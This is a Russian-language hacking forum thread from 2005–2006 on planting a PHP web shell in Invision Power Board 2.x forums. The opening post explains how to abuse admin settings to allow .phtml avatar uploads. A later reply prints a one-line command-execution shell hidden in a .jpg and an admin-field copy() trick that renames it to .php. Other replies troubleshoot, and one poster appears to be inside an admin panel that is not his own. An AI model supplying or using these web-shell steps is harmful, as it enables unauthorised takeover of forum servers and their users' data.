Форумы Заливка шелла в Ipb 2.0.*

Discussion in 'Уязвимости CMS/форумов' started by GreenBear, 9 Dec 2005.

  1. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    Заливка шелла в Ipb 2.*.*

    Вроде бы довольно частый вопрос о том, как заливать шелл в ipb 2.0.* и 2.1.*
    Ну вот, сразу что пришло в голову, проверить на глупость =))
    Разрешить в профиле загружать файлы пхп, пришол облом, они становились файлами notepad =(
    Думаю я, думаю, а ведь пхп и пхтмл одно и тоже =))
    иду в настройки и пишу в главной конфигурации\профиль пользователей\аватары в конце ,pthml
    После иду в атачи и делаю там еще один тип - .phtml
    mime тип пишем от пхп файлов, то есть application/octet-stream
    ок. разрешаем. идем в профиль, грузим аватар, смотрим к нему путь - и там наш шел, av-1.phtml =))
    ВОт и все.
     
    #1 GreenBear, 9 Dec 2005
    Last edited: 9 Dec 2005
    4 people like this.
  2. Lord Nikon

    Lord Nikon Banned

    Joined:
    12 Sep 2005
    Messages:
    224
    Likes Received:
    15
    Reputations:
    -3
    Не дурно =).
     
  3. Arthas

    Arthas New Member

    Joined:
    30 Jul 2005
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    Green_Bear
    скажи пожалуйста как сделать тоже самое только на версий IPB 1.1.2
     
    1 person likes this.
  4. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    557
    Likes Received:
    157
    Reputations:
    179
    Ты попробовал залить его через самайлики ?
     
  5. Arthas

    Arthas New Member

    Joined:
    30 Jul 2005
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    Tem
    конечно, первое что сделал попытался кинуть шаблон через самайлики но там нету обзора =(
     
    #5 Arthas, 22 Dec 2005
    Last edited: 22 Dec 2005
  6. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    557
    Likes Received:
    157
    Reputations:
    179
    Через шаблоны попробуй ((
     
  7. Arthas

    Arthas New Member

    Joined:
    30 Jul 2005
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    пипл, не знаите где найти атачи в IPB v 1.1.2
     
  8. banall

    banall New Member

    Joined:
    25 Jun 2006
    Messages:
    55
    Likes Received:
    3
    Reputations:
    0
    Такая же проблема, залил в виде phtml, но шелл не запускается а выдает исходник, что делать то?
    как запускать, что надо изменить в начале и в конце php чтобы phtml заработал?
     
  9. Nova

    Nova Green member

    Joined:
    15 Jul 2005
    Messages:
    1,233
    Likes Received:
    420
    Reputations:
    280
    А ты тип файла прописал ?
    не расширение а тип файла ?
     
    _________________________
  10. Гаврила

    Гаврила Elder - Старейшина

    Joined:
    24 Oct 2005
    Messages:
    273
    Likes Received:
    89
    Reputations:
    17
    Да, у меня по этой схеме тоже отрывает исходник.
    Странно.
     
  11. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    Все зависит от настроек апача.
    Видать не прописан phtml там =)
     
  12. orex

    orex New Member

    Joined:
    8 Aug 2006
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Ребят , пытаюсь через смайлы залить пишет:мона типа тока изображ gif ,jpg и тд ,
    пытался через phtml тоже отшило :) как еще залить можно ?
     
    1 person likes this.
  13. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    предлагаю ещё способ: заливаем файл .jpg например с таким содержанием
    PHP:
    <? system($_GET['cmd'])?>
    идём в админку, настройки, выбираем любую, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки": пишем copy('/home/www/forum/uploads/av.jpg','/home/www/forum/uploads/av.php').
     
    2 people like this.
  14. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Папки на сервере должны быть на запись открыты. Этим руководит админ. 2 orex, читай внимательно.
     
  15. orex

    orex New Member

    Joined:
    8 Aug 2006
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    нашел тута еще тему про подмену хттп запроса :) ща попробую разобратся ;)
     
  16. *Van*

    *Van* Elder - Старейшина

    Joined:
    14 Aug 2005
    Messages:
    365
    Likes Received:
    19
    Reputations:
    12
    Для этого необходимо ещё знать путь к директории с форумом.

    Такой вопрос: будет ли рабоать шелл, если его залить как *.gif, а в админке прописать mime-тип для расширения gif как application/octet-stream ?
     
  17. Inferno

    Inferno Elder - Старейшина

    Joined:
    30 Dec 2005
    Messages:
    97
    Likes Received:
    17
    Reputations:
    2
    Незнаю у меня таким методом файл не цыпляется в ачачи и аватары!
     
  18. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    935
    Likes Received:
    396
    Reputations:
    261
    Только что проверил. Всё пашет. Михе респект.
     
  19. Inferno

    Inferno Elder - Старейшина

    Joined:
    30 Dec 2005
    Messages:
    97
    Likes Received:
    17
    Reputations:
    2
    А на каком форуме пробывал,может ещё зависит от настройки апачя?
     
  20. ~Real F@ck!~

    ~Real F@ck!~ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    283
    Likes Received:
    170
    Reputations:
    -8
    Мужики что делать? Пишет мол фаил с аватором слишком большой? А админка на английском, немогу понять что к чему, помогить плиз пока меня там нафиг неудалили из админки!